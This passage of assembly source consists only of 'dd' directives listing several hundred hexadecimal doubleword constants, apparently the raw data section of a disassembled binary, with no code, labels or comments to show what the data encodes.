		dd 0E06F4FA5h, 62B64429h, 0FC939901h, 423423DBh, 0FCFE8C9h
		dd 0E58BCBB9h, 601AB119h, 0AC4C4DD7h, 7668498Ah, 24745B01h
		dd 417F0397h, 47363880h, 894B382Eh, 9CAA762Eh, 0D9579880h
		dd 0CCE8375h, 4AE1F320h, 0D51301B0h, 0C85D378Ch, 0C4FA5140h
		dd 750CDAFh, 2834B11h, 54CA0FBh, 4705D168h, 124F6A48h
		dd 457B1882h, 7628ECh, 9B5F82B5h, 9E0E6EB2h, 0FF116D00h
		dd 0C5D7D1ABh, 6715266Fh, 0BC3F00E4h, 0C7756082h, 0D159B807h
		dd 6F602DCDh, 0D31525h,	2EAB430Ah, 0FBB3844Eh, 9B116000h
		dd 0E9BD88FDh, 1E7AF0EAh, 0D74658C7h, 6FA8005Ah, 0F2DD4986h
		dd 6A00C094h, 0CC4D15C6h, 75FA0537h, 870EDC9Eh,	352CF110h
		dd 13AEC845h, 58959B0Ch, 88B098h, 0BDA63855h, 624A9104h
		dd 903C98h, 80F9593Dh, 330AA4F1h, 0B5C85EBh, 4B4A5FC9h
		dd 0D75B9080h, 893EC369h, 472B006Ch, 96ABE366h,	0E9702E1h
		dd 0F1AD176Ah, 31CA08E0h, 255A7D00h, 0A3A547ECh, 0AEF90006h
		dd 4DC0FDCFh, 0A13DD427h, 4D88F68h, 5A81BE58h, 0A4893E40h
		dd 3F7C3230h, 30095DF3h, 5800DCD6h, 883B01FFh, 2A56000h
		dd 0B7725505h, 0F28426EBh, 749E003Dh, 32AB2465h, 5D0B2501h
		dd 4DD31E01h, 1822D20h,	0FEEB209Ah, 0F07EF5F7h,	0E0906E4Eh
		dd 0BC0C5572h, 106ABD78h, 14760046h, 77E98BA3h,	9F006C87h
		dd 0D464349Ah, 0AA5B744h, 0B0406A75h, 802B1EA8h, 0C1E10C61h
		dd 0AB0094F5h, 0FBF9271h, 0CFAD35h, 0E917C2D9h,	0DBA35508h
		dd 0D5985918h, 1235C6D0h, 13DA0E5h, 5BB1995Fh, 0F281F097h
		dd 23002479h, 0FA01ECA5h, 50B730BBh, 1989885h, 0A8935F63h
		dd 20CB824Eh, 5724F9C0h, 3F397F6Ch, 0AD2C017Bh,	5638534Bh
		dd 0BB0E7880h, 64621113h, 0B6009973h, 6B016FAh,	0B8F8B8C1h
		dd 712800D4h, 1446BB42h, 25009B85h, 0B33CFF7Fh,	0A2C3AEh
		dd 4AC02B40h, 0BDD162D4h, 8278500Fh, 4400960Eh,	1AD6F73Bh
		dd 6CEB0125h, 65BC4A22h, 309C40F4h, 7B704745h, 24DC1600h
		dd 0D6C96069h, 2E2C923Ch, 0A147717h, 3BC0D1AEh,	82E5A380h
		dd 72B64DCFh, 0B9A9B412h, 449FF440h, 50F06DDCh,	1693989Ch
		dd 317D23Bh, 0A2654E98h, 0AC3053E8h, 97524C12h,	0BA13FC40h
		dd 53651014h, 0D8018067h, 78B8C95Fh, 44DE1249h,	0C0792064h
		dd 20D5498h, 10BF4EB1h,	6100582Ch, 0AEE31CE2h, 0A300DB55h
		dd 0FAB42527h, 0B0EABB2Ah, 0A91926A5h, 0E99D8540h, 38C8C005h
		dd 1CFE6A8Ah, 0B480BA04h, 480715Ch, 38F95BFh, 6D1A2947h
		dd 0B6A87883h, 1C06D039h, 7320E032h, 22F10028h,	0CB4E0262h
		dd 0C4F4CADDh, 846B6100h, 0BC47CDA5h, 0E8D00123h, 0C756458Fh
		dd 6CF04190h, 9DE1807Fh, 650F68E1h, 0D3690016h,	34CFCDB6h
		dd 4660C90Ah, 0D23EA511h, 0E5620982h, 3408C063h, 32C107BCh
		dd 0B81C4105h, 3AFE20B9h, 0EF87E1C7h, 36157CD0h, 0D89615F6h
		dd 1A07EC13h, 0B057BF40h, 0C6FC538Bh, 84F88200h, 0F24F7FB9h
		dd 2C4BE846h, 994D05Fh,	3B80AA1Eh, 2C55FC18h, 602B9100h
		dd 0B2CC82DAh, 813D17A7h, 0A26403D8h, 67EF745Dh, 0E3FD12Ah
		dd 55FD70E3h, 62C9D706h, 2480E2AAh, 512C74BBh, 0CDC52E4h
		dd 5E972360h, 0C54B9400h, 41DBB549h, 52E1000Fh,	0E336FED5h
		dd 0D0009083h, 4F025B86h, 7537A8ACh, 6CDD48EDh,	539B6280h
		dd 4D5043A9h, 6891C97Ch, 1BE4A06Eh, 508613h, 0EB552388h
		dd 0C504AFE3h, 1A45248h, 418725F5h, 78E48327h, 0D16C00E5h
		dd 8A67B976h, 0E8E613DCh, 0A9B62204h, 188098C3h, 0F2A2B345h
		dd 50EE906Fh, 3EC5C851h, 218094A1h, 39045289h, 2D004EC3h
		dd 0BD402C3Fh, 5E4801h,	0ED72112Eh, 81DBFE2h, 4F686219h
		dd 2DFCAF88h, 3B380034h, 0BCD9A677h, 55038B22h,	0F7F65FD0h
		dd 0D3E9021Fh, 78C026C4h, 0C8CF6B61h, 4F50DA9Dh, 1607C3D8h
		dd 0EB140FCEh, 0C491F584h, 18201E07h, 9A6601FBh, 0FDA2963h
		dd 5827D086h, 4A6F3C00h, 78E3FF76h, 42C908Eh, 9130167Dh
		dd 107CB022h, 0C642BF0Bh, 0E004E3F7h, 68D1B7h, 31509BF3h
		dd 0E1A2F0DEh, 47146D02h, 483E6175h, 4C7E8F30h,	8B1C2937h
		dd 1A3240EDh, 0CC2C94F4h, 0F30B5492h, 0A008C5EBh, 932938DCh
		dd 60A5FE07h, 0F5B39088h, 0CF164136h, 5706D9A2h, 7103719h
		dd 8D238C81h, 1AE9301Fh, 580EAD9Eh, 123A59FBh, 95FE0AFAh
		dd 9B800FCh, 8002942Bh,	0FD6F4C00h, 55675DD3h, 36710018h
		dd 13F2E63Ah, 2A38C624h, 3E4D8EDEh, 5C636531h, 0FA4480C0h
		dd 0F4160BC8h, 3C0FB677h, 0FF182F43h, 3717C384h, 4DC086EBh
		dd 2603700Bh, 9CA36089h, 607C17h, 9FEB0DD0h, 80F27FC6h
		dd 6E7EDE00h, 20637649h, 74A8006Dh, 24BFD1A0h, 0DA4C30ACh
		dd 0E79C3EC1h, 52B06021h, 0B0694A29h, 0B9D00088h, 81C89AEh
		dd 0F27827E6h, 0A31BE500h, 0C8B0110Fh, 7B5000AFh, 0FF0E66ADh
		dd 0FA00E406h, 0CBCF44F1h, 34C4E6h, 2BA08CF0h, 826A95AFh
		dd 20C30B1Ch, 0AC67C940h, 29CCC6h, 4BE9513Ch, 19915539h
		dd 0F633D602h, 0D571AC69h, 6D7E0F80h, 5D146E4Bh, 0CC0A46h
		dd 53DD81D2h, 0B8F0132Fh, 0A11900ABh, 92D67704h, 7C00CBE4h
		dd 0DB0FBCF9h, 0DE3C24h, 5E268EB4h, 9E7A8749h, 0E2011C74h
		dd 0C6218A6Bh, 0D1F436D4h, 0EF6F008Eh, 0DD821D38h, 94917569h
		dd 0FCF4003Dh, 533715B0h, 1CE50097h, 6D298C7Ch,	8524015Ch
		dd 0DD84A46Bh, 3804497Ah, 44CCC3DCh, 0A0ED4800h, 539DC107h
		dd 7C81596Fh, 0F5617F00h
		dd 39F2AC77h, 0EB851C00h, 9B344235h, 31940512h,	0E5223FB6h
		dd 0A47714h, 0E4F41048h, 14E735h, 0E0DFC868h, 28EC029Ah
		dd 9F84FD03h, 0E018CC95h, 0B0A97762h, 0A54D0969h, 6881CF8Eh
		dd 7037BA72h, 0BF04CC50h, 0D76C8C3Ah, 70E9EC90h, 40070F3Bh
		dd 426156BAh, 0F8AF23B8h, 14041916h, 0C0F1213Ah, 0E9CBAC80h
		dd 0A80C6E98h, 477E121Fh, 0ACB8D0h, 0F90B9DF3h,	0F8D42A24h
		dd 609B6400h, 0F0698E41h, 0E1C82503h, 0F729B483h, 0CF1460CFh
		dd 0E609FD5Dh, 0A078E564h, 304CC714h, 7A8BAC8h,	29D63CB3h
		dd 37175015h, 0E200EEF2h, 4F6E8B68h, 6AD94994h,	7B10E1h
		dd 5CF5893Ch, 5B0E7BA6h, 1858C07Eh, 4421ADB0h, 5EAB5ABh
		dd 6FEB560Bh, 0FAD0032Ch, 0FB9CB8F8h, 1EBA02DEh, 0C7AD0D88h
		dd 26D01CE0h, 9911700h,	73E418CDh, 443D0140h, 0E254C370h
		dd 8B0ED0A0h, 91787400h, 23FD0D4h, 868E1FB8h, 382A8046h
		dd 220B7142h, 6896E21Dh, 7054A8C2h, 4A84603Ch, 0E610008Bh
		dd 9EB8D5A1h, 0C1013B18h, 6D887E57h, 0B4DCAAE0h, 108F009Ah
		dd 40BE1DB2h, 170E63DFh, 0E4786107h, 50C08EBBh,	0E73756h
		dd 6EABBA31h, 411FD606h, 0A59C6600h, 0DF228116h, 8D17015Ch
		dd 1C0E96E9h, 945660B6h, 71EDE700h, 36BC311Ah, 40BA6FA1h
		dd 874B3BC0h, 84005BF1h, 617EE02Bh, 1F2ACC31h, 80663FAFh
		dd 2DB4CA77h, 0B61E7FEEh, 32C0BC26h, 0A8398C55h, 0B2E7EE45h
		dd 1EABE6DCh, 0C034EBFBh, 4C7DBE2Dh, 5E00A753h,	0CA3D5D08h
		dd 182FFACh, 5CFEA1A5h,	205F4854h, 99727CB4h, 80156F2Fh
		dd 0AC2A9DF0h, 9C65003Ch, 771C687Dh, 3A0FC234h,	0E0615A09h
		dd 0F208199Ah, 0DF0D3F3Dh, 67E8498Eh, 6AE19000h, 0B4004FA7h
		dd 6F195027h, 0F838F2FCh, 49D300EBh, 4135B639h,	0B4F66A4Eh
		dd 0E33F3604h, 148065CCh, 31AD24h, 0E48471D7h, 0EF053414h
		dd 1807E907h, 0C2B33CA7h, 192D9038h, 35040FBAh,	0B2A07422h
		dd 0A4CD20BDh, 0AA06A61Fh, 86D2B8C0h, 51B3EEh, 0B7AC0A91h
		dd 1E63ADCAh, 0E5C95300h, 0E43ECE5Bh, 0F490A0DDh, 42810021h
		dd 55382025h, 86033A17h, 896FB419h, 0D65A8857h,	8670085h
		dd 2A14F90Ah, 5600E420h, 96ED1361h, 12DF0F90h, 4EB489h
		dd 2C48363Ch, 820B6D22h, 48C4DB7Bh, 2971A8h, 777E968Fh
		dd 4D514B87h, 817ADE03h, 0C8D3249Bh, 0C2A3Ch, 64B44A10h
		dd 0FD23F397h, 1C90AAF0h, 0D5C10213h, 25D6C090h, 30677B43h
		dd 9D5460DEh, 3800C5F7h, 0F093698Fh, 0E65CD7C8h, 79550008h
		dd 0F4428391h, 6C005020h, 0CC02C171h, 5F4A03h, 0D8A5BA14h
		dd 0DEE75BFh, 7FFF1A1Ch, 5B3EA787h, 9080B624h, 98C3E933h
		dd 0C9BB0073h, 17ED2FB2h, 0F9005764h, 139E0668h, 60739A70h
		dd 0FE5910FAh, 6CEEE5E1h, 0EE0052ECh, 0C10D1D50h, 4A6B8B3Eh
		dd 5B9800ACh, 0EFF204F4h, 0AC90114Ah, 1C06BF98h, 9C50F9C1h
		dd 0EFB25F12h, 9EBE3800h, 3226033Ah, 732CA420h,	0D1DAE200h
		dd 3E6FECB9h, 7C2A7DADh, 7044E7C8h, 1C7248C0h, 0EBC53A4Fh
		dd 0E7118C84h, 8310D0AEh, 0D8C0B6FCh, 0EBCFC36Ch, 1E654E33h
		dd 0BC1F8070h, 35BB3B42h, 0C8A9B628h, 2D0BEA00h, 0A6719B66h
		dd 0BF3A0E5Bh, 0DC8005F1h, 0CCCF4CB1h, 403359h,	5D19FF51h
		dd 160DD21Ch, 12DB4AF5h, 402C525Ch, 0DA0AC4E0h,	0C4C17CA7h
		dd 806B6395h, 0EEB42864h, 6A7E0070h, 0BA99E9B1h, 0E400E3BDh
		dd 55053C02h, 90FA38C4h, 0CB88805Eh, 78680088h,	0BB8FF7A4h
		dd 0DC009930h, 1BAD2035h, 0B235327h, 58C8F65Dh,	8C93F0C0h
		dd 50B8483Dh, 850EC5B8h, 601282E6h, 0B7F19AA9h,	0A81D2647h
		dd 43D2465h, 0C0AEE929h, 0CB1541ECh, 0FEEB3600h, 5D9E5B4h
		dd 0BD420079h, 4526F155h, 0B1001DDEh, 64D41C81h, 1671CF12h
		dd 80467CDCh, 0C935E7E0h, 164EB560h, 78778BA2h,	913F1666h
		dd 0FE34416Fh, 0D8BBB68Ah, 47755841h, 55079B00h, 0D2E2A609h
		dd 7264C03Dh, 2B560818h, 6297B40Fh, 63F0A069h, 65DBA7h
		dd 0B587CD2Ah, 0E9D1DD33h, 92899500h, 0C6800DC4h, 1FC1D4Bh
		dd 0D680FA29h, 4FA31F3Bh, 1200A016h, 6F731415h,	24365Dh
		dd 0D2094662h, 661AF68Eh, 0B4293100h, 1E3BF1CAh, 6C775Dh
		dd 0DF05B3C4h, 34B8EDCDh, 0B0850D2Ch, 0C965EB00h, 4BCDCA9h
		dd 0A87F21D9h, 12548050h, 0EE75C826h, 0E9175E16h, 9CBA8002h
		dd 6584406h, 57E5138Ah,	4612D845h, 9400B0B5h, 0E8CED83Fh
		dd 5C665906h, 0D9EC1276h, 4E544234h, 30B89F6h, 0E9FD9E1Ch
		dd 0B9CD4B81h, 0C9152082h, 8CC875E2h, 0A4001EB1h, 0D3C0CF3Eh
		dd 95698A85h, 58B57480h, 480EB9CCh, 6092186Ch, 0B01E6A2Bh
		dd 0FAC90143h, 26CDE730h, 0D5F3E0EAh, 96918D02h, 549A7C09h
		dd 1FEF012Ch, 3A048F5Dh, 2309FF0h, 0EC8A6841h, 4C40197Eh
		dd 4900813Fh, 0F56F9BBh, 0F06FC3h, 8463649Ch, 2A1EB020h
		dd 52DF1400h, 2306EB65h, 0FCB40013h, 573C48DDh,	0C201A593h
		dd 6C1D8D08h, 2BC5A7B6h, 3C719D00h, 9959DF17h, 8A535842h
		dd 67DE0ADh, 6B213C79h,	4884183Eh, 80874757h, 0F9C6D530h
		dd 0A6FE9C00h, 51CFAB8h, 3A4D00CFh, 8A4774DEh, 5F0080D6h
		dd 0C87DE608h, 9C5C4Ch,	9F728E4Eh, 382CD0EBh, 0A69B700h
		dd 344236ECh, 5AF10078h, 0A21802FCh, 72FE1F54h,	58049DE4h
		dd 5B77F27Bh, 0A94C8CC0h, 0E8BF002Ch, 0AD162603h, 38F6E1F8h
		dd 0B828AC00h, 122207EBh, 477A5B0Ah, 20F884E4h,	478F3D6Ch
		dd 571BB900h, 0BA0CC210h, 0D0BF597Ah, 4B9D491Eh, 0ECC02B05h
		dd 5F007B17h, 1FFB66A0h, 58EA31A9h, 1D001C53h, 6D7D412Eh
		dd 38F0574Bh, 7D73600h,	0AEC7B10Eh, 4EA00A7h, 0BA5F16F9h
		dd 39C0B822h, 1C3F2D20h, 0EC065085h, 9F320781h,	800E79E4h
		dd 0ACE3EF9Ch, 8C09C573h, 0A59B863h, 6002861h, 1B1C974Ch
		dd 0D58500A3h, 627E7728h, 2A7DF135h, 880AD10Eh,	0D0CEE02Dh
		dd 2627B515h, 77C92CAh,	0F0B9ADF0h, 67BF307Ah, 20669426h
		dd 1EF63281h, 288ECBEBh, 5580D38Dh, 244B6C3Dh, 0A6770E03h
		dd 80EEA3DCh, 3FACDF36h, 26BDF78Ch, 0C5F68900h,	0D046AA78h
		dd 0ED0AF100h, 81B41A1Ch, 52A900CAh, 5DBD2508h,	0BC001293h
		dd 604A5F2h, 39E0C13Bh,	0B3009A63h, 0F889E6DCh,	0AB90E201h
		dd 0A90FEB13h, 0DC0D497h, 38C80B7h, 6EA52CF9h, 789AA10Eh
		dd 9E4F6940h, 39131C00h, 3874DF6Bh, 53980060h, 0BFE96C86h
		dd 623CE4BDh, 88430699h, 40BA21h, 911BB069h, 0A63E4DA7h
		dd 18B9FF34h, 7BD36090h, 33900092h, 0CC81E496h,	0A30F7888h
		dd 0C042C641h, 2A588C79h, 19800337h, 23E4F12Fh,	305C0EB2h
		dd 11F24300h, 28265Ah, 0AB31321h, 0F905952Ah, 76C735Ch
		dd 0B5388348h, 76382226h, 92880068h, 89D9A4A7h,	4D03B498h
		dd 97E6916Fh, 0AD1117F7h, 74D40126h, 0FCE75188h, 61018F54h
		dd 0CDFB3E5Ch, 6DC0544h, 0D8CF01F4h, 0B14286BDh, 3B0DC8C6h
		dd 0D7C1AB00h, 0E955913Ch, 0DDE83945h, 0E4424900h, 90E5B29Ch
		dd 1C513F38h, 4F01074Eh, 317F045h, 71388C70h, 0D4FABDh
		dd 7D8FDF10h, 1E9B2FA6h, 4CA7090Fh, 96409DC3h, 0F65A6168h
		dd 940F035Bh, 3555226Eh, 0B3E58CB0h, 9AA12100h,	0D3D9AC1Eh
		dd 865A0002h, 71FFC77Ah, 0D4241545h, 0DE002C1Dh, 0E595BAEEh
		dd 25E300C2h, 485DFE83h, 0D71D5068h, 4E007B1Dh,	3AF9F1C1h
		dd 32BE0084h, 1AD00901h, 9B01C911h, 0D63445F7h,	3A60EEAEh
		dd 29C80040h, 0D9AFB173h
		dd 9F00F420h, 3669A966h, 0FABFCD5Fh, 92290043h,	0ED202793h
		dd 4F0034D0h, 48C44B3Ch, 56777Ah, 0B05BB25Dh, 1503F85Ah
		dd 0A2AD5301h, 5C236A02h, 4EA5ECh, 0DE170F0Ah, 58B73C69h
		dd 12493D2Eh, 92803B00h, 48AD3Eh, 287040C1h, 44025D73h
		dd 0DED10E01h, 51B28ABAh, 4AABE1DFh, 0AA16E0h, 0C13A6BFBh
		dd 0B2F776C2h, 1C387460h, 3625D71h, 43CBDC89h, 1874E606h
		dd 7200B0B8h, 3DA8EFABh, 1E087C0h, 0AD4A5EF2h, 0ECA06B0Eh
		dd 0B6006EE9h, 9D2FD518h, 309CCE8Dh, 9439C579h,	0B518768Fh
		dd 6BC1FEE5h, 0AEDA1317h, 1890177h, 60E9C366h, 0F0073BCh
		dd 42E163D4h, 7A8F99h, 0A2FE0114h, 9D46D1DAh, 276E6016h
		dd 37999000h, 1B5E6F7h,	0D4E82FA1h, 80EFBDE7h, 6784ADF0h
		dd 301BBC5Ah, 0B169B46Eh, 4200DA83h, 0FDAA0CD4h, 3C8031Eh
		dd 0D69BE569h, 290E6C87h, 40492A27h, 4D96C6A1h,	1839672Eh
		dd 0E36F056h, 6907E52Fh, 82635341h, 0D173C3h, 33E15689h
		dd 89D748CFh, 0AE51BE60h, 45A752h, 2E188F12h, 0EB356A9Bh
		dd 0E1E3000h, 6F3D6209h, 0BBCA186Dh, 3AB12045h,	4D802109h
		dd 1AFE0079h, 2C3BFEh, 0D69AB6D1h, 0DC0B7343h, 2608DD00h
		dd 7875876Bh, 0B170F5h,	0F4BBFFCEh, 8BBE4C65h, 0D6140092h
		dd 78C89CB3h, 377BBC00h, 41560FA5h, 5E3A00A9h, 9116CCAFh
		dd 0F0031CCDh, 0C9ED2CE9h, 49890AAh, 464302C8h,	4D613581h
		dd 0FB0D5440h, 80CF3F3Eh, 8B743128h, 0A72112h, 9771BD9h
		dd 68D239AAh, 47BEE0C0h, 458240h, 0B05CFCEBh, 8D31A64Fh
		dd 0A89DCD00h, 39580161h, 5F031CC2h, 0D7F9401Bh, 3314A3B3h
		dd 0D4287FFCh, 0D008C80h, 0B14969CCh, 0F41D76h,	6D82863Ch
		dd 4818D056h, 0A9636100h, 3616D960h, 937732h, 0E82DAF82h
		dd 0A45680F1h, 0DEF02BE9h, 115100FEh, 0F4B2586Fh, 9C007525h
		dd 0C68ABD6Bh, 14F98528h, 0A0EE6778h, 0C0FB3107h, 1971129h
		dd 8D9AC436h, 0A854FC00h, 20DE451Eh, 12D500C1h,	6CEB3DF0h
		dd 132442B8h, 0EC9EB092h, 0F7368040h, 3BF1D22h,	0F1FCAD0Ch
		dd 60F8AB17h, 0D70019E1h, 0E6463161h, 275F46Ch,	96DFF1C2h
		dd 0DCAFDD24h, 8AA04EB2h, 5CB2C041h, 1E7026A5h,	0D340146Ch
		dd 74823330h, 1D093AC0h, 0F1AC00F4h, 0F623B5D4h, 0FF045340h
		dd 0CD944D6Dh, 0CF085C90h, 9928014Bh, 0C6D977DBh, 561C249Dh
		dd 301A2B5Ch, 0C226C872h, 12C7993h, 0BE1A953Dh,	809DB475h
		dd 0AF7FA581h, 0D03742h, 4E1E0391h, 8858EDF3h, 87BE0B18h
		dd 49538129h, 0ADC0C4CDh, 0B90F491Ah, 39D93109h, 0FF4C101Dh
		dd 2D2F003Bh, 42B21248h, 8124BE15h, 3BBCF0h, 9579C1Ah
		dd 96A251h, 0CA3881Bh, 4713A14Ch, 7DF4CCF0h, 0E5095507h
		dd 202F63CFh, 0B482DB22h, 0A9160051h, 0AC6134E1h, 714C65DCh
		dd 176D0138h, 70271E6Ah, 0D22F1080h, 0BCB38F60h, 69D57700h
		dd 7368C5F9h, 0D9832427h, 81DF1E88h, 0DB8D426h,	6C54E050h
		dd 0ED4B7B00h, 0C6EBE515h, 2C889AF9h, 84044E26h, 803DFB94h
		dd 0B484E56Ch, 995B6800h, 50483B44h, 0AB30E1C6h, 0B260C0E2h
		dd 711D1CCEh, 0EC4F0D00h, 967E68DEh, 2547E22h, 0FB6E7FBDh
		dd 0BF61AC07h, 3C5C2410h, 4C48E67Fh, 3E20598h, 11C0B6EBh
		dd 0A5E906Bh, 7094A40Dh, 1DF1008Bh, 863F5419h, 0DA5BBC05h
		dd 0E00047AFh, 10C4AE5h, 0B0C3764Dh, 2B520019h,	12D77F80h
		dd 4502CE19h, 427B6D65h, 49F84072h, 15AD1D08h, 0F8A040F4h
		dd 112116A8h, 3C811E00h, 0E17959C8h, 0A991583Eh, 33017639h
		dd 7AE37538h, 83807E74h, 77E4FE15h, 6D890093h, 352FC24Ah
		dd 0FB717B2Dh, 95759800h, 3AED7681h, 37AD0087h,	2EF50FACh
		dd 1F00D617h, 0A79A7A28h, 7A2E1h, 9E78BA9Fh, 0CA228B4Ch
		dd 0B4EB1400h, 0B5748391h, 8169003Bh, 95049E9Ah, 0FC0099F2h
		dd 785E8ECFh, 1A4BAFh, 0A5AB9D72h, 2AC5F63Ch, 7B0C1748h
		dd 2893D43Ah, 0EB029434h, 81CC946h, 2CF0BC61h, 12F3AA4h
		dd 45B703F9h, 0AF182028h, 1E1FC100h, 0FB08100Ah, 0F63E0057h
		dd 4C52F27Fh, 7D0031C4h, 80DE9118h, 48C54164h, 7A00E40Fh
		dd 59365ED4h, 54502619h, 0DA075AFCh, 0E3AD41D2h, 60F0C772h
		dd 30933838h, 503620E8h, 9C1E157Eh, 74408933h, 0CF5D30A7h
		dd 87590040h, 78FA6F64h, 7A245CBEh, 0EB13A0BCh,	0CC50C804h
		dd 0C4E614C0h, 0D78607DAh, 0A01D8491h, 0B2C2768Bh, 0BFCF7209h
		dd 9B9B0069h, 0E03F3B5Bh, 1BA40B53h, 4080F260h,	6744EF25h
		dd 7CD6D512h, 30370C70h, 22D203BDh, 6837A9Bh, 0F08A0DD1h
		dd 0F712E867h, 1000BBAEh, 0D49339EFh, 0CD6200C8h, 42CB8183h
		dd 351C3666h, 99C0D1BCh, 442D8FC9h, 84B5009Ch, 0CA63CC75h
		dd 0C40096DCh, 0B25B03D0h, 1EE26B5Ah, 0F2C90Bh,	4D0928A8h
		dd 0F3907B39h, 0DF5D9F00h, 31D47030h, 0C3C03E3Bh, 807AB11Ch
		dd 8CF88D99h, 0A028D383h, 0BC03F475h, 7D199ACEh, 0D956A006h
		dd 1A6D0C12h, 0F9206E88h, 9DD5800h, 373FECCEh, 67F601A6h
		dd 0D4D16298h, 0F7A46007h, 71018719h, 0C0C47330h, 0EA950E7Fh
		dd 7BC94C9Dh, 0E58E080h, 0F2002511h, 84A82D1Ah,	7DCE0Ah
		dd 0FE956983h, 0BA48F03Dh, 4744Dh, 551B0826h, 0EA400F9Ah
		dd 0AA980F71h, 1E002AA4h, 44138728h, 3AE41F12h,	8AEA2902h
		dd 40A460A0h, 3899000Bh, 90FE7EFCh, 5400F8F6h, 7D0A936Ah
		dd 1EE176ADh, 0C0E458FAh, 0DB1E5189h, 0CA033C20h, 7953158Eh
		dd 8B4D996Dh, 0D4D0CDF9h, 0BFBD2894h, 8C7B03B4h, 9E56FB05h
		dd 632FC0E0h, 0A578E77Dh, 8D4F1E07h, 5B91D3A6h,	0A8C1D1D8h
		dd 0E4D0FE8h, 1F90FB43h, 80A09E9Ch, 0E71EB42h, 0B0392B7Fh
		dd 0A4040051h, 8A6DDB33h, 197900F6h, 9BAA0757h,	27072C3Ah
		dd 488BBD52h, 3726A6D0h, 38D46FF3h, 0D8966FC1h,	6198C319h
		dd 0CF071E0Eh, 3D7B1C93h, 885B2AD3h, 0BD6DE7h, 560CF804h
		dd 0A371B1B2h, 0E5C3448h, 80A1A22Fh, 419280E4h,	0A580BC1h
		dd 8CA01357h, 0ECF3367h, 0AFE007ECh, 0CB2957Dh,	0D1370101h
		dd 2936E19Ah, 3B008C28h, 0C53DFA2Ah, 0B2006A3Eh, 28C1487Fh
		dd 6023A79Eh, 80B9BAC8h, 1A01CE54h, 7F9DCA25h, 0DECC68C7h
		dd 3820079h, 61261C37h,	0FA02C08Bh, 6AF12F08h, 72F0C8F2h
		dd 800C9437h, 0A253A01Ah, 0B6E8B01Bh, 0A80D7C4Ah, 0F3E01818h
		dd 8011CF82h, 870ADE05h, 0FB9B80DCh, 0FA18A6F8h, 22589C31h
		dd 0F3EA0655h, 0E10A53AFh, 4751A378h, 0BE12EC3Ch, 0EA6D2A00h
		dd 0D088B646h, 89EF0005h, 4BA3DF8Fh, 0E5009DE0h, 0FCBEF20Ah
		dd 50F12908h, 74206Ch, 9D2C9F49h, 8D20D6EAh, 2206ADE8h
		dd 0A85D8F26h, 287303A8h, 901D0A46h, 2F7BD807h,	0AFCF075Ah
		dd 2A79A04Bh, 6F16F1h, 0E2240CF7h, 65101950h, 0C7077500h
		dd 1D8D6473h, 0C0907FD3h, 38978F18h, 257C3A28h,	948ABE03h
		dd 20CE16Fh, 0E6074C39h, 0D6C03C6Dh, 9718F7B1h,	0A9306287h
		dd 34FD0004h, 0E63EEFE5h, 18D86547h, 8072D340h,	63788B3Dh
		dd 1A05B41Eh, 0D7EFB102h, 7C030F5Dh, 60E621B0h,	227FA100h
		dd 85E53269h, 181C6630h, 3C3C09F9h, 886E3004h, 0C088D16Fh
		dd 1D084651h, 0C2604CF3h, 36FE7D1h, 1924063Ch, 411BD49Dh
		dd 2A9A5E01h, 6566CC58h, 0ED0E48BEh, 0E1636C7Fh, 6D881D28h
		dd 0FAF816F5h, 859FB01Fh, 600C348Dh, 1C446000h,	0E8C9053Ah
		dd 1C3D556h, 0DB73E0F3h, 1654E80Fh, 828B7200h, 15A2AA36h
		dd 0A6760042h, 0B6F72093h
		dd 603ECA10h, 0D3C29EAFh, 4454CE00h, 50D697h, 6170B572h
		dd 0B69FA1Fh, 0BD1A3900h, 0E58035FDh, 0A1AD011Dh, 9093B2D3h
		dd 0FCE3D44Bh, 0B907ECE4h, 0DE24F385h, 0DFE54593h, 0A0098452h
		dd 4B02049Ch, 3CC70EF5h, 0C28132D6h, 20459977h,	84A06C7Dh
		dd 6200C48Ch, 0E68A1A7Bh, 139D0C9h, 0ED9E0B72h,	80B378FDh
		dd 0E7847C28h, 54030CC2h, 65A07Eh, 52992974h, 67CC27EEh
		dd 32AD81Fh, 3D918D80h,	30075337h, 0ED3072C4h, 5C3FA91Ah
		dd 0A113877Dh, 0D240ECD6h, 0CF98BDCh, 0AD0E8A52h, 0D3042921h
		dd 46337C43h, 0E336D5C0h, 0A2C60052h, 8E9C6FDAh, 4B38B088h
		dd 930C000Bh, 7DCF9A29h, 0EC64EA58h, 0E148C3A6h, 0A901301h
		dd 0A30FFACDh, 621AE5C7h, 40D99705h, 0D52917h, 92E46DBFh
		dd 20EEC4C5h, 99018A1Bh, 64FD9089h, 3151C0A7h, 651B2F34h
		dd 786F2001h, 0FC078DEDh, 4699DF4h, 6B1CDD4h, 0D0F4C07Ah
		dd 220083F9h, 0EC80E6A9h, 24F0C58h, 81F4E817h, 0CAC0A0FBh
		dd 57392EC1h, 0CCB500BCh, 809CBABDh, 22C007A5h,	305B3606h
		dd 37775F7h, 0D97D7203h, 0E0371B8Eh, 13CD121h, 584C7E54h
		dd 8C79C317h, 38112220h, 3E6A0EADh, 0EE83D354h,	1100A9BFh
		dd 0CE7FC20Dh, 33192E32h, 0DA097E58h, 3A6D2100h, 6587EB70h
		dd 0AE630F8Ch, 0FEA12660h, 80574538h, 0A9A37459h, 7D9DDCD6h
		dd 6DD5330Eh, 21000B08h, 9AA99B16h, 3E06D358h, 748E8925h
		dd 7C035B48h, 0D0010A96h, 529A57D8h, 38805439h,	0C7E9311Eh
		dd 0A0723A5h, 91BBF6Eh,	1F212B46h, 80E8C8FBh, 65FE21F8h
		dd 9D600CACh, 5141DFA0h, 4224034Ah, 6C7571C9h, 0F333CEF8h
		dd 0A790D905h, 0E580277Bh, 3F8AA3Dh, 5A7809E5h,	0ECE9839Eh
		dd 52F2E04Bh, 9C063C3Dh, 63801A8Fh, 168C1F73h, 0FDA701AFh
		dd 0B7CEC969h, 8470D0A6h, 82564D00h, 30AEEA01h,	77C6027Fh
		dd 8B344026h, 0E69967E0h, 0AD23C500h, 10805081h, 0CB7D00E5h
		dd 6C2EA90h, 41E87460h,	3835500h, 2EE3C415h, 68845C0Dh
		dd 0DFB3CA07h, 0D4052063h, 0E5008BFDh, 531C2338h, 58334202h
		dd 3E0C8734h, 840845Bh,	77E06500h, 0EC5A6452h, 86FA095Fh
		dd 420FDBADh, 28C5040h,	0D100D715h, 0C0C90C4Ah,	0CEBFDAEh
		dd 4064E39Ah, 0B476ED58h, 2072DD30h, 1CE5F347h,	40EB8160h
		dd 3D135E0Bh, 9302932h,	1E37B848h, 59DD1E41h, 525C00C5h
		dd 94EEA811h, 2A044E1Dh, 551928C0h, 18ED6E06h, 6C965BC6h
		dd 5F0029B8h, 0EE828ECFh, 749181Eh, 466D9116h, 4BDA7098h
